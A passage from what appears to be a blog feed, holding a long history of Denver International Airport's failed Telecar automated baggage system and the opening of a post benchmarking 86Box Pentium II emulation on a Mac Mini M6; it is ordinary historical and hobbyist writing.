design than at large airports with above-ground halls (consider, for example, Phoenix), enabling a traffic concept where aircraft would land on one side of the field, taxi to a gate, continue away from the gate in the same direction, and take off from the other side of the field.&#xA;&#xA;The building layout and connecting tunnel became one of the project&#39;s first weaknesses. Airlines, making their late entry into the project, quickly accumulated design changes that they made hard requirements to their leases. Underground construction is notoriously difficult to modify, though, leading to an expensive set of changes that sometimes required almost complete demolition and reconstruction of parts of buildings. By the time United Airlines signed an agreement, at the end of 1991, the project was already behind schedule and over budget.&#xA;&#xA;Among DIA&#39;s most interesting facets are the conspiracy theories. The decision&#xA;to name the commission that organized its grand opening the &#34;New World Airport&#xA;Commission&#34; didn&#39;t help, on account of its close resemblance to the New World&#xA;Order which was a more prominent vein of conspiracizing in the early &#39;90s. Early&#xA;&#39;90s aesthetic sensibilities were factor as well: Michael Singer&#39;s officially&#xA;untitled &#34;Interior Garden&#34; at Terminal C 3, and Luis Jiménez&#39;s &#34;Mustang&#34;&#xA;placed prominently at the approach of Peña Boulevard, have a certain eerie&#xA;presence. Leo Tanguma&#39;s murals in the baggage claim area are rooted in the&#xA;Mexican Socialist tradition of murals that look to the future with equal parts&#xA;optimism and uncertainty. They depict themes of war and peace, of harmony and&#xA;discord, and moreover the tension between them—in a way that is perhaps a bit&#xA;too visceral for jet-lagged travelers.&#xA;&#xA;As with all conspiracy theories, there is of course a kernel of truth. There&#xA;really were strange things happening underground at DIA. The project really did&#xA;have its secrets, and it really did envision a future very different from its&#xA;present. On the other hand, these quiet happenings were all more pedestrian,&#xA;more _municipal,_ than the conspiracy theorists like to think. This was a new&#xA;world _airport,_ not an order. DIA&#39;s expansive basement was not intended, as&#xA;some contend, as a logistical center for hundreds of thousands of bodies. It&#xA;corrals something more everyday, and in even larger numbers: bags.&#xA;&#xA;One of the most arduous parts of an aircraft&#39;s turnaround is the loading and unloading of baggage. The problem is particularly acute at a large field like DIA, where bags have to cover considerable distances. Consider the case of a passenger checking in for a flight out of Terminal C: the passenger will need to travel over a mile to their gate, a problem solved by the $84 million Westinghouse APM100 automated guideway transit system. 26 autonomous vehicles run a never-ending loop of the underground connector tunnel, serving stops at each terminal every 90 seconds. This system has not been trouble-free, but the APM100 was a descendant of the 1970s techno-optimist &#34;transit plowshares program&#34; that saw defense and aerospace contractors apply their expertise to urban transit. While this program mostly failed to improve urban transit, it did a lot for airports, and by the time DIA was underway the APM100 was a well-proven design.&#xA;&#xA;The larger problem was baggage. At most airports of the 1990s, and in fact at most airports today, baggage handling is mostly manual. Belts take bags from the ticketing counters to a loading area where workers sort them onto carts. Tugs pull those carts to gates, where bags are loaded onto the airplane as its last set of bags are sorted onto a new set of carts to be towed to other gates or to the baggage claims. DIA was going to be different: airport planners worried that baggage tugs would have to drive multi-mile routes around the terminal buildings to reach ticketing and the baggage claims, and that was after the time and labor involved in sorting. United Airlines wanted transfer bags moved from one gate to another in under ten minutes to meet their turnaround goals, and in part to assuage concerns about such a large airport being a nuisance for travelers, a common theme of DIA boosterism was speed and convenience. Travelers were promised that their bags would arrive at the claim before they did.&#xA;&#xA;As soon as these words were said it was known that achieving them would require an automated baggage handling system of unprecedented scale. There was just one problem: there was no such system, and no one was even planning one.&#xA;&#xA;Airports are a strange form of real estate. They are almost invariably owned by a state or municipal government (or a corporation chartered by one of the two). Airlines pay fees for use of the airfield, but they also pay to lease the gates. In this regard, an airport is a bit like a shopping mall, a landlord that provides extensive services but ultimately exists to collect the rent. Airlines usually do much of the logistical work themselves, or contract service providers to do so. In the early &#39;90s, as it is today, the norm at airports is that airlines handle their own baggage. When you fly Southwest, Southwest employees load your bags into Southwest carts that are pulled around by Southwest tugs. The airport&#39;s involvement is limited to a fairly basic set of belts, rooms, and pathways that bring bags in and out of the building.&#xA;&#xA;This was the plan at DIA, to the extent that there was any plan, when United Airlines signed their gate lease agreement for the entirety of Terminal B. For the largest airline, operating from the largest terminal building, and moving bags to and from the biggest section of the ticketing and bag claim areas, the baggage system would be a huge project. United is said to have quickly observed that the airport project was already behind schedule and that little if any thought had been devoted to baggage handling. In line with norms and the City of Denver&#39;s expectations, United took on the problem themselves.&#xA;&#xA;Over a decade earlier, in 1978, United Airlines had driven down its baggage&#xA;handling time at San Francisco&#39;s international terminal by engaging a contractor&#xA;called the Docutel Corporation. Today, Docutel is best remembered as one of the&#xA;companies with a strong claim to the&#xA;invention of the ATM.&#xA;The company&#39;s history is a bit stranger: originally a loose spinoff of&#xA;Texas Instruments called Recognition Equipment, Docutel&#39;s pioneering achievement&#xA;was the invention of optical character recognition (OCR). Their principal client&#xA;for this technology was none other than United Airlines, which used it to automate&#xA;validation of boarding passes 4. The relationship between United and&#xA;Recognition Equipment was strong enough that, by the 1970s, Docutel was both a&#xA;pioneer in ATMs and a major manufacturer of airport automation equipment.&#xA;&#xA;Docutel&#39;s solution at San Francisco involved a device they called a &#34;Telecar.&#34; Telecars were small electric vehicles that traveled on rails carrying a plastic tub. A belt could push a bag onto a Telecar, which traveled to a destination where it tipped the bag off onto another belt. The San Francisco system was not without trouble: Docutel went bankrupt during its development, and in large part to save the project, United is said to have been involved in brokering an agreement that saw Docutel&#39;s airport division bought out by Boeing. This created the confusingly named Boeing Airport Equipment, or BAE. This BAE was unrelated to the British Aerospace BAE, a fact that has evaded a surprising number of histories of the DIA baggage scandal—although I am inclined to cut these confused writers a bit of slack. By the time of DIA&#39;s construction, BAE was in fact under British ownership by another three letter acronym, BTR (British Tire and Rubber). Boeing Airport Equipment BAE still exists to some tiny degree as a portion of Schneider Electric. In any case, despite the eventful corporate history, the SFO international terminal automation had developed into a satisfactory system that United thought was an ideal model for DIA.&#xA;&#xA;United&#39;s deal with BAE specified a $20 million system that would connect all of the terminal B gates with the ticketing counters and baggage claims, all to be designed and built over the span of 2.5 years to meet DIA&#39;s opening date target. This was an ambitious program, and all parties involved admitted considerable schedule risk, but at the time BAE was by far the dominant supplier of baggage handling equipment and enjoyed an excellent reputation. If anyone could make it happen, it was BAE, especially given their similar projects at SFO and Munich&#39;s Franz Joseph Strauss airport. What was perhaps understated as a problem is that DIA&#39;s installation would be orders of magnitude larger and more complex than either of those systems, and that meeting its performance requirements would require a complete redesign of key components.&#xA;&#xA;These might have already presented an insurmountable challenge even if the&#xA;project had not, in 1992, been restarted. United&#39;s strict requirements for&#xA;baggage handling, and the trouble they were clearly having fielding such a&#xA;system on schedule, seemed to have made the City of Denver nervous. Even that was&#xA;reassuring compared to the status of terminals A and C, where just a couple of&#xA;years before the airport was slated to open, there was still no progress&#xA;whatsoever on baggage handling. Financially struggling Continental seemed to be&#xA;expecting to use whatever the Airport Authority came up with or to improvise&#xA;something last minute, and it was still up in the air who (if anyone) would use&#xA;terminal C. As a result of 1980s economic trends, traffic at Stapleton airport&#xA;had actually begun to decline rather than grow, softening the demand airlines&#xA;had for an improved facility. Ironically, this lack of interest from airlines&#xA;made the City view the project as even more urgent and critical, since they&#xA;would have to effectively &#34;win over&#34; the airlines with a state-of-the-art&#xA;facility to ensure success. Maybe, then, the decision _not_ to provide a&#xA;unified baggage handling system as a service to tenants was a mistake.&#xA;&#xA;In early 1992, just a couple of months after United awarded the contract to BAE for their terminal, the City of Denver developed specifications for an airport-wide automated baggage handling system and put them out to bid. Of the sixteen companies the City identified as prospective suppliers, only three responded with proposals. Ironically, BAE was not among them: in part because it was already scrambling to design the system for United, BAE concluded that it was simply not possible to complete an airport-wide system on the timeline the City required. By that point, there were not much more than 18 months before the airport&#39;s announced opening date.&#xA;&#xA;Of the three bids received, I have found historical documentation of only one. A coalition of industrial automation companies, including Canadian transit-industrial-complex giant UTDC, proposed a design that was similar to the conventional system of belts, handlers, and tugs, but with extensive use of computers to speed sorting and complete automation of the tugs. UTDC described a system of autonomous electric bag carts they called Destination Coded Vehicles, or DCVs. A bit like London&#39;s erstwhile Mail Rail, baggage handlers would load bags onto a DCV and then hit a button that would send it along tracks, through the tunnels, to another sorting area near the departure gate. Each DCV would carry dozens of bags, and they were large enough to also accommodate a few oversized items. At this phase of Denver&#39;s tourist development, oversized luggage was on everyone&#39;s mind: among the new airport&#39;s amenities would have to be first-class handling of skis.&#xA;&#xA;The City rejected all three bids. As best I can find recorded, the major problem was that all three involved more manual labor for sorting, loading, and unloading than the City considered desirable, and that the City doubted the ability of the systems to meet the time goals (despite vendor assurance that they could). The City of Denver strongly favored a design without any manual loading, and so far the closest proposal by far was BAE&#39;s contract for United.&#xA;&#xA;Calling off the competitive bidding process, the City entered three days of reportedly heated negotiations with BAE that culminated in a sole-source agreement to extend the United system across the entire airport for $175.6 million. This messy contracting process, with competitive bidding hastily abandoned in favor of a deal negotiated behind closed doors, compounded the quickly discovered problem that BAE was highly integrated and intended to manufacture everything off-site at its extensive plant in Texas. This meant that BAE wouldn&#39;t obviously meet Denver&#39;s contracting preference rules for local labor, minority-owned businesses, etc. On top of that, a dispute between BAE and labor unions over payrates for mechanics (BAE&#39;s contract with the City stipulated a rate of $12 an hour when the union&#39;s negotiated rate for City projects was $20) led to a two-day strike by key industrial electricians and mechanics. BAE&#39;s contract went through multiple rounds of revisions, amendments, and scope changes, and the lawsuits did not all settle for many years after the airport opened.&#xA;&#xA;The schedule would be extremely tight. BAE had, reportedly, been open with the City that they believed the project would take a full year longer than planned. They agreed to the contract only on certain terms: that requirements and designs would be frozen very early on, that BAE would receive first priority over other contractors on scheduling work at the construction site, and that BAE would receive almost carte blanche authority to modify the building designs to house the system.&#xA;&#xA;Of course, in practice, no part of this agreement held: terminal A was only partly leased by the questionably solvent Continental Airlines and terminal C wasn&#39;t leased at all, so the City specified an extremely minimal installation in those buildings. As other airlines finally signed onto the project, they immediately demanded expansion and changes. Much of the construction was underway or even complete, so as a practical matter, it was rarely possible to modify building designs and the baggage system had to be shoehorned into every nook and cranny. A combination of poorly coordinated project management and political maneuvering meant that BAE&#39;s &#34;priority one&#34; status was far from agreed, and much of the installation schedule was determined by posturing and squabbling between the contractors, all of whom by this stage were desperate to finish their own part while happy to blame delays on anyone else.&#xA;&#xA;Some members of the City&#39;s project team had initially been skeptical of the BAE proposal. BAE had won them over, in large part, by building a demonstration system at their headquarters in Texas that included most of the mechanical features of the proposed DIA solution. What went unnoticed by even BAE&#39;s skeptics is that the small scale of the demonstration system didn&#39;t just minimize the mechanical and reliability problems. It also required none of the complex computer logic that would become one of the project&#39;s biggest problems.&#xA;&#xA;As happens in any contracting debacle, there are many places to put blame, and a lot more people looking for somewhere to put it. There is certainly some fault all around: histories of the project always note the constant change orders coming from the City, often either at the behest of the airlines or driven by last-minute efforts to control costs. An oversize ski retrieval belt in the baggage claim area was lengthened for more capacity, shortened to cut costs, lengthened after airline objections, then shortened again. An entire arterial loop was eliminated from the project for cost control, but then airlines still expected its capacity to be available, leading to modifications to mitigate the loss. BAE contends that the project would have gone much more smoothly if the design had actually been frozen as the City had originally agreed. At the same time, given the political and business considerations, the City may have been well-founded in its fear that delivering anything less than the airlines demanded would set Denver up for an inter-airport dispute not unlike that between Dallas-Fort Worth and Dallas Love Field.&#xA;&#xA;Another problem was access. BAE expected to be able to go anywhere, and do anything, at any time. They believed this to be a hard requirement to complete the project. At the actual worksite, things worked differently: each of the four major buildings was under the leadership of a separate on-site construction manager, and the four managers reached four different positions on BAE&#39;s involvement in the project. Better-connected local contractors often got their way over BAE, and besides, some of the places that BAE intended to start installation work hadn&#39;t been built yet anyway. BAE identifies the problems with project management, on-site leadership, and coordination between contractors as the major cause of delays in testing. On the other hand, the development of the control software, which was completely under BAE&#39;s control back at their offices in Texas, had reportedly not even begun when the countdown to opening day ticked under one year.&#xA;&#xA;Knowing that the installation proved so troubling, let&#39;s consider what, exactly, BAE was trying to install. The baggage handling system for DIA was based on the Telecar installation at SFO, but there would be many enhancements, particularly for reasons of delivery time.&#xA;&#xA;When a passenger checked into DIA, a ticketing agent would affix a barcoded label to their bag and place it on a belt. The belt terminated at something like a miniature &#34;train station,&#34; where it simply ended at the side of the Telecar tracks. When the bag reached the end of the belt, a barcode scanner read the label, which was associated in a database with the RFID tag on an arriving Telecar. To meet the deadlines involved, the Telecars really moved, with a top speed of 19 to 24 MPH depending on who you ask (probably revised downwards over time for reasons that will become clear). What made the system truly sporty, though, is that the Telecars did not stop. Empty Telecars slowed to about 4 MPH as they passed a loading belt, which sort of threw the luggage into the Telecar&#39;s bin before it tipped upwards to make sure the bag settled into place.&#xA;&#xA;Because it was a project of the early &#39;90s, BAE opted for a distributed control system based on microcomputers rather than a design based around a large system. This was a quintessential application of real-time computing, after all, an area in which microcomputers were increasingly dominating. Over a hundred 486 machines ran custom control software on OS/2, with Windows-based workstations for operators and maintenance staff in multiple control rooms.&#xA;&#xA;The Telecars were propelled along their tracks by linear induction motors—a fin descending from the bottom of each Telecar acted as the &#34;rotor&#34; while the powered stator coils were fixed in long strips under the tracks. Much like the famed Tomorrowland Transit Authority and its airport compatriot in the parking garages of Houston&#39;s George Bush Intercontinental Airport, the linear induction drive system had the advantage of simplifying the Telecars (which, in contrast to other proposed designs, were not self-powered at all but more like carts that were pushed along the rails by the LIMs), but the disadvantage of requiring a relatively new and unproven motor technology.&#xA;&#xA;As each Telecar rolled along with the magnetic fields of the LIMs, RFID readers detected the golf-puck tags mounted to their sides and a computer checked the tag ID against the database to determine which bag was in the Telecar. Based on another database lookup to determine the bag&#39;s destination, the computer decided whether or not to operate switches to direct the Telecar onto various different tracks. A main &#34;bus&#34; of Telecar tracks in the central underground tunnel moved bags between buildings at high speed, where they were switched onto one or more rings that took them around the perimeter of the terminal building.&#xA;&#xA;When a Telecar reached the gate where its bag was expected, the plastic tub on top tipped high up on its side at just the right moment so that the bag would fall out onto a waiting belt. The Telecar never stopped, it only slowed down, to about 6 MPH when unloading. The belt carried the bag to a waiting baggage handler for loading onto the plane, while the departing Telecar joined a pool of spares that circulated around the rings until there was a bag to be picked up.&#xA;&#xA;I put a lot of time into writing this, and I hope that you enjoy reading it. If you can spare a few dollars, consider supporting me on ko-fi. You&#39;ll receive an occasional extra, subscribers-only post, and defray the costs of providing artisanal, hand-built world wide web directly from Albuquerque, New Mexico.&#xA;&#xA;If you think a bit about the mathematics of such a system, you can imagine the challenges involved in just the management of the empty Telecars. Loading was done by belts that quite literally ended at a cliff at the edge of the track, such that if a bag was waiting at the loading station the belt could not advance until a Telecar passed by to toss the bag into. This meant that any delay in getting empty Telecars to a ticketing counter, for example, caused the bags to back up on the belt until the agents had nowhere to put them. The entire system was like this: later analyses liken it to a deeply complex graph of queues feeding into other queues, in which a delay at any point could cause a rapid cascade through the rest of the system.&#xA;&#xA;Compared to SFO, for example, the DIA baggage system was not only far larger (with nearly 20 miles of track compared to just a couple) but vastly more complex, with hundreds of gates at which bags could be either dropped off or picked up, bags moving between gates either within a terminal building or across terminal buildings, and a steady but very large flow of bags to and from the ticketing counters and baggage claims. To meet the demand, BAE provided almost 4,000 Telecars. Most of them were &#34;standard,&#34; but hundreds were special oversized units designed specifically to handle skis while still negotiating the tight turns of the underground tracks.&#xA;&#xA;Besides coordinating the movement of all the bags, the computer system had to coordinate all of the empty Telecars... a big enough part of the problem that BAE seems to have referred to the main software package as the &#34;empty cart management system.&#34; The scale of the system also made maintenance complex, something evidently not adequately considered since one of the many last-minute change orders was the addition of a maintenance facility directly connected to the rail network so that Telecars could be repaired without having to be hoisted from the track to a dolly.&#xA;&#xA;The algorithmic complexity was not unexpected. Munich&#39;s airport used a similar system based on automated carts, and it reportedly took nearly two years of testing, monitoring, and tuning the algorithm that dispatched carts to achieve reliable performance. That news either didn&#39;t make it to Denver or was ignored, since the DIA system was expected to go from zero to production on a shorter timeline than just that testing period. In the early &#39;90s analytical solutions to the problem were unknown, and they remain very difficult today. In retrospect it is obvious that a computer simulation should have been developed to evaluate the control system. It does seem like BAE had intended to do so, but they simply ran out of time, and the software was completed so late that virtually no testing was performed before attempts at commissioning the system.&#xA;&#xA;DIA had been slated to open on October 31st, 1993. At this point, only a bit over a year and a half had passed since the start of work on the airport-wide BAE system. By the time that date passed, the opening of the airport had already been postponed twice due to schedule slippage in the baggage handling system. The new date, March 9th of 1994, flew by as well. Testing of parts of the system had begun, but were plagued by electrical problems with the linear induction motors. The somewhat experimental design of the LIMs was certainly a suspect, but since most of the problems were related to tripping protection circuitry (due to voltage surges, phase imbalances, etc.), most of the blame landed on the City due to its ownership of the electrical distribution system. Filtering equipment was ordered to protect the LIMs but, having been ordered after the airport was already supposed to be open, the several month lead time on the specialty electrical equipment guaranteed even more severe delays.&#xA;&#xA;All of these challenges came to a head in April of 1994. By this time, BAE was testing the full-scale system by sending demonstration luggage between scores of imaginary flights operated by major names like &#34;Antarctic Airlines.&#34; In one of the more incredible stories in the history of engineering debacles, the City of Denver decided, without informing BAE, to invite the media.&#xA;&#xA;The ensuing &#34;open house&#34; led directly to open season on the project. Reporters were taken into the tunnels below the terminals to observe bags flung by belts into open space, landing with a thud on the concrete floor below. These were, it turned out, some of the better-off suitcases: others were partially caught by Telecars and flung into posts at speed. Telecars rounding tight bends, which were far more common than BAE had intended due to the need to cram the tracks into already-built utility tunnels, tended to toss their contents into the corners of the tunnels where they piled up. The most unfortunate bags were &#34;loaded&#34; directly onto empty tracks or fell out of moving Telecars, until the next Telecar ran them over and tore them open.&#xA;&#xA;The media fiasco was incredibly embarrassing to the project and to the City of Denver. Television stations ran footage of bags that were taking flight well before they reached an airplane. Newspaper reporters described loose clothing piling up like dirty laundry under the tracks. Some lucky reporters witnessed a full-speed collision of two Telecars, crushing what might have been someone&#39;s luggage in between them. Occasionally, bad sensors on the Telecars led them to abandon a bag on the side of a tunnel as if they were tired of carrying it.&#xA;&#xA;These mechanical problems were, it turned out, the tip of the iceberg. Less visible to the reporters were the engineering findings of the testing, which concluded that fixing the loading and unloading process and teaching the Telecars to be more cautious drivers would take months and leave them with the bigger problem: software.&#xA;&#xA;The software that controlled the system was, well, buggy. Empty cart management was a huge problem: there were obvious bugs in the software that gave way to deeper systemic problems. Logic errors around tracking Telecars and updating the database meant that empty Telecars in one terminal building were sent to another where they were needed, but by the time they arrived the computer system would forget why they were there and send them back where they came from. Moreover, BAE was far behind on their plans to integrate awareness of airline schedules and passenger volumes into the dispatching system. Instead of planning ahead, the system was reactive, and each landing plane would cause a brief crisis as empty carts were sent as quickly as possible while the bags stacked up on a belt that couldn&#39;t move.&#xA;&#xA;The concept of scanning barcodes and associating them with RFID tags on the carts for routing was a familiar one in industrial environments, but it didn&#39;t work very well in the chaos of an airport—or at least in the chaos of this particular airport. Between the loading and unloading problems and software bugs, the computer system often lost track of which bag was in which Telecar, leading bags to be delivered to the wrong place. When the system was already running behind, it was difficult to get a bag picked up again for rerouting. The barcode readers themselves turned out to be a problem, they would fail to read the labels on the bags at all, forcing the system to send the bag to an unloading station to be relabeled. This happened to so many bags that the small staff, intended to handle a few exceptional situations, couldn&#39;t keep up.&#xA;&#xA;The press demonstration had such an impact that DIA&#39;s opening date was delayed once again, this time indefinitely. For Denver&#39;s mayor, by that time Wellington Webb, it was a political disaster. The worst part of the whole thing was a single, simple mistake that dated, one could argue, to the original conception of the airport: there was no plan B. The automated system was just supposed to work.&#xA;&#xA;By this point in the project, the City of Denver had commissioned multiple consulting firms that invariable concluded that the automated system would not, in fact, work, at least not on any reasonable timeline for the opening of the airport. It took the April press demonstration, though, to finally spur action. The next month, the City of Denver engaged German consulting firm Logplan to analyze the state of the system. Logplan intended to take a section of the installed Telecar track and run it 24/7 for an exhaustive test, intending to collect statistics to understand what problems were most acute and how to prioritize improvements. Instead, the test track performed so poorly, with so many jammed cars and collisions, that Logplan abandoned the test plan. Instead, they recommended that the City install a complete second baggage handling system of a more conventional design so that the airport could open.&#xA;&#xA;On the advice of Logplan, the City signed a contract a few months later with German-American conveyor belt firm Rapistan Demag. Rapistan installed a very typical design of belts that bridged the gaps between passengers, aircraft, and a large fleet of carts pulled by human-operated tugs. A computer system provided some convenience and speed, but it was, fundamentally, the standard approach to airport luggage that United and Denver had completely rejected earlier in the project. Because the installation of the &#34;backup&#34; luggage system required new electrical supply arrangements and modifications to buildings, it cost about $50 million.&#xA;&#xA;The New World Airport opened on February 28th, 1995, a sixteenth month delay due to the lack of baggage handling. When the airport did open, almost all baggage handling was manual, pulled by tugs both above ground and through tunnels that had been hastily fitted with railroad-style signals to work around the inability of two baggage tugs to pass in the narrow tunnels. Ever since, the story of DIA and its baggage has become one of the most famous case studies in the failure of an ambitious systems engineering project. DIA and the ABE Telecar system are the subject of so many term papers, masters theses, and textbook sidebars that it is perhaps rivaled only by the Therac-25 and the Tacoma Narrows Bridge.&#xA;&#xA;Along the way, certain myths have accumulated. For example, there has been a tendency to cast the story of DIA as that of an AI ran amok. &#34;The computer prioritized delivering bags,&#34; people say, &#34;so it just delivered them anywhere they could go.&#34; As with most such myths, there is a kernel of truth: the routing algorithm was complex and had numerous bugs that caused nonsensical routing decisions, and mechanical failures caused bags to be deposited in all kinds of places that were not intended. Certain overload conditions caused &#34;unidentified&#34; bags that had lost their barcode association to accumulate, so that they were all rapidly delivered to a troubleshooting station that turned into a big pile. There was none of the intention, though, that people attribute to this supposed rogue AI. No decisions were being made: rather, a series of happenstances meant that the bags never reached the decision points. The places that they piled up had less to do with the whims of an intelligent machine than it did with the geometry of the track, which was only made to fit by the use of hairpin turns. The Telecars used rollercoaster-style grip wheels that kept them firmly on the rails, but the bags had no such adhesion and sometimes kept going in their preferred direction as the Telecar took off the other way.&#xA;&#xA;Among the conspiracy theories surrounding DIA, the most prominent involve&#xA;extensive underground construction. Whether DIA was built as a cover story for a&#xA;deep underground military base, as a concentration camp for political enemies of&#xA;the New World Order, or just in alignment with the ley lines to leave us all a&#xA;little unsettled, it was impossible not to notice that throughout construction&#xA;there was something strange happening underground. Once again, the kernel of&#xA;truth: there _was_ extensive underground construction, and it was controversial,&#xA;complicated, and as the scandal grew it even became secretive.&#xA;&#xA;DIA&#39;s automated baggage handling system never achieved full operational capability. In the years shortly following the airport&#39;s opening, United Airlines worked with BAE to complete a scoped-down version of their original airline-specific baggage handling system. The Terminal A Telecar system was simplified and isolated into a separate system that operated only between gates, which never saw much use. The Terminal B system, that exclusively served United, was used only to deliver outbound bags from the ticketing counters to the gates. Terminal C&#39;s Telecar tracks and stations, some never completed, were abandoned.&#xA;&#xA;While it would be pleasing to say that everything strange about DIA is a consequence of an early-&#39;90s industrial automation project gone wrong, that would leave out so many other stories, struggles, and scandals. The baggage handling system is an incredible story, but it is also mundane. Airports are enormous infrastructure projects, and even smaller efforts seldom go smoothly. DIA&#39;s baggage woes are joined by innumerable other problems with the airport&#39;s construction ranging from the quality of the runway paving to financial improprieties. They say that you can&#39;t make an omelet without breaking some eggs, and I very much doubt that you can build an airport without breaking some plans. I hesitate to fault a city government for swinging for the fences.&#xA;&#xA;In 2005, the last operating part of the automated baggage handling system, United&#39;s outbound luggage deliveries, shut down. The Telecar system was shut down. United said that they were spending over a million dollars a month maintaining the troublesome Telecars, and it was cheaper to go back to traditional tugs. Most of the equipment was abandoned in place.&#xA;&#xA;DIA was, perhaps, ahead of its time. The kind of technology required by the Telecar system, from robotics to demand-responsive control algorithms, have advanced tremendously over the last 30 years. Orlando Airport&#39;s new Terminal C, for example, successfully operates an &#34;individual carrier system&#34; that is substantially similar to the Telecar design. Amusingly, a smaller-scale automated baggage handling has operated at DIA for the last several years, limited to moving bags from the ticketing counters through the security screening process.&#xA;&#xA;Even now, automated baggage handling is rare. The majority of airports still use carts, tugs, and a whole lot of manual labor. DIA&#39;s planned system, if built today, would still rank among the few largest in the world—but decisively behind the Siemens-built system at Dubai International Airport, at least on a volume basis. DIA might still be ahead of its time today: Dubai&#39;s state-of-the-art baggage network still doesn&#39;t meet the original delivery time targets at DIA. But, then, neither did BAE.&#xA;&#xA;If DIA does harbor underground secrets, they won&#39;t be secret much longer. This year, the airport announced plans to remove the last of the Telecar equipment from the connecting tunnel and refit the space it used to occupy as a pedestrian walkway. The $300-700 million project is scheduled to start early next year, but from what I can tell they haven&#39;t announced an opening date. That&#39;s probably a wise decision.&#xA;&#xA;1. IATA letters DEN. DIA is an unusual case of a major airport that is commonly known by a three letter acronym that does not match its IATA designation, presumably because the letters DEN had belonged to Stapleton until its closure, leaving them ambiguous as to&#xA;    _which_ airport when DIA was new.↩&#xA;2. Some accountings give a value of 30 minutes, and even a lower value of 20 minutes for narrowbody jets. The exact target probably changed over the course of the project.↩&#xA;&#xA;3. Untitled (Interior Garden) is not exactly land art, in that it is indoors, although it certainly shares some common traits. That&#39;s not coincidental, Singer was very much associated with the Land Art movement and several of his projects fall comfortably within that category. It should also be noted, though, that he had an affinity for airports: other prominent works include &#34;Uplifted Ground&#34; on a parking garage access bridge at Austin International. As often happens with Land Art, long-term upkeep of Singer&#39;s work has sometimes been a challenge, and DIA&#39;s Untitled (Interior Garden) was nearly removed several years ago.↩&#xA;&#xA;4. This was the beginning of a long thread of technology and standards that is still seen in the machine-readable text at the bottom of passports and some national identification cards.↩</content>
    <link href="https://computer.rip/2026-09-20-denver-baggage.html" rel="alternate"></link>
    <author>
      <name>firloop</name>
    </author>
  </entry>
  <entry>
    <title>Pentium II at 600Mhz with Voodoo 3 Emulated on 86Box with M6 Mac Mini</title>
    <updated>2026-09-26T01:28:39+09:00</updated>
    <id>lobsters_ztvy1b</id>
    <content type="html"># Mac Mini M6: Retro PC Emulation with 86Box (600MHz PII?!)&#xA;&#xA;The best platform for cycle-accurate retro PC emulation may just be the Mac. The M6 achieved a stable 600MHz clock using a 6.0 derived 86Box build.&#xA;&#xA;## Why 86Box Cares About One Core&#xA;&#xA;86Box emulates an old PC at the hardware level. CPU timing, chipset behaviour, ISA and PCI buses, graphics chipsets, sound devices, and disk controllers all matter to getting period software to behave properly. That does not guarantee identical performance to the original hardware, as the Cinebench results below illustrate. Frankly the project is fascinating and the effort has me in awe, but that accuracy is expensive, and almost all of the cost lands on a single host thread.&#xA;&#xA;The practical consequence is quite straightforward in that core count barely matters here. What really matters is how fast one core can run, and how long it can hold that speed without throttling. Luckily for the Mac Mini here that&#39;s exactly where Apple Silicon has been strongest, and where the M6 shines.&#xA;&#xA;## The Machines&#xA;&#xA;Every 86Box test uses the same machine configurations, the same disk images and emulated hardware. The comparison set is:&#xA;&#xA;- **Mac Mini M6**(12-core CPU, 24GB, this review unit)&#xA;- **Mac Mini M4**(base 10-core CPU, 16GB)&#xA;&#xA;Testing was using a slightly modified build of 86Box 6.0, released on May 31, 2026. The team improved CPU emulation performance on ARM hosts and added an ARM64 just-in-time recompiler for Voodoo graphics. That second change is particularly relevant here, since the Windows 98 machine is running an emulated Voodoo 3. Some credit certainly belongs to the software, Apple Silicon has fast cores, but 86Box is also getting better at using them.&#xA;&#xA;I have not measured the uplift from an older 86Box version, given this is a review of the M6 and not 86Box.&#xA;&#xA;## Why 100% Is the Only Acceptable Number&#xA;&#xA;86Box reports an effective emulation speed as a percentage of its target speed. 100% means the host is keeping pace with the emulator&#39;s timing model, so anything less is a genuine problem. It does not guarantee that a benchmark will score exactly as it would on a physical CPU at the same clock.&#xA;&#xA;Consistency also matters more than the average here. Even brief dips produce audible artefacts because sound hardware is fed in real time and starved buffers are heard as brief dropouts which are irritating. Basically any 86box setup that regularly dips below 100% will not feel right, and having adequate headroom on the system to comfortably emulate the target speed will be a much more stable experience.&#xA;&#xA;The result is that turns each host machine into a ceiling rather than a score, and for any given emulated configuration there is a maximum CPU clock the host can sustain at a flat 100%. Because almost all of that work falls on one thread, single-threaded performance moves this ceiling substantially, which is the whole reason the M6 is interesting for this.&#xA;&#xA;## Test Method&#xA;&#xA;To find the ceiling, I made a custom build from the same commit as the 6.0 release (build 9001), extending the frequency tables in **50MHz steps up to 800MHz**. The Deschutes frequency table patch is available if you want to try it yourself against that tagged release. It adds 500–800MHz entries with memory and cache timings scaled to retain approximately the same access latencies, and keeps the AT bus at 8.33MHz. The emulation code is otherwise unchanged. Both Macs used this build for the extended tests.&#xA;&#xA;Some might argue a Pentium II at these speeds is not era appropriate. I argue it is just a little overclock!&#xA;&#xA;The emulated machine is otherwise fixed across every run:&#xA;&#xA;- **Slot 1 motherboard** with Pentium II (Deschutes), clock varied per run&#xA;- **256MB** of memory&#xA;- **Voodoo 3** emulated VGA with 16MB of video memory (2 threads)&#xA;- **Windows 98 SE**&#xA;&#xA;The load is deliberately a little awkward, **Cinebench 2000** running its CPU test while **Winamp 2.76** plays a 16-bit 44,100Hz PCM WAV in the background. The audio is a bit of an achor as it&#39;s a real-time consumer of the emulated hardware, so any moment it falls behind is immediately audible.&#xA;&#xA;The pass condition is ultimately subjective but strict. If I hear a dropout, or the reported emulation speed falls below 100% at any point, the run fails.&#xA;&#xA;## Results&#xA;&#xA;The base **M4 Mac Mini holds 500MHz**, with both Macs extremely stable throughout the full Cinebench 2000 and 3DMark 2000 SE runs at that speed. At **550MHz**, the M4 starts to hitch. They are slight interruptions in Cinebench, but more noticeable during the 3DMark demo, and enough to fail the run.&#xA;&#xA;The M6 passes **550MHz** and **600MHz**, which is incredible. At 600MHz it held a flat 100% through both Cinebench 2000 runs and the 3DMark 2000 SE demo, the latter giving it **7–8 minutes of uninterrupted testing**. That makes the highest passing clock **20% higher than the M4&#39;s** in this setup.&#xA;&#xA;The CB2000 scores, for anyone who cares:&#xA;&#xA;#### Cinebench 2000 by emulated Pentium II clock&#xA;&#xA;Emulated clockCinebench 2000M6M4300MHz4.62 CBPassPass350MHz5.34 CBPassPass400MHz6.16 CBPassPass450MHz7.02 CBPassPass500MHz7.73 CBPassPass550MHz8.54 CBPassFail600MHz9.28 CBPassFail650MHz10.08 CBFailFail&#xA;&#xA;One run per clock on the custom 86Box 6.0 build. A pass requires a flat 100% emulation speed with no audible dropouts for the whole run. Hover a result for the detail.&#xA;&#xA;Those scores describe the emulated CPU at each 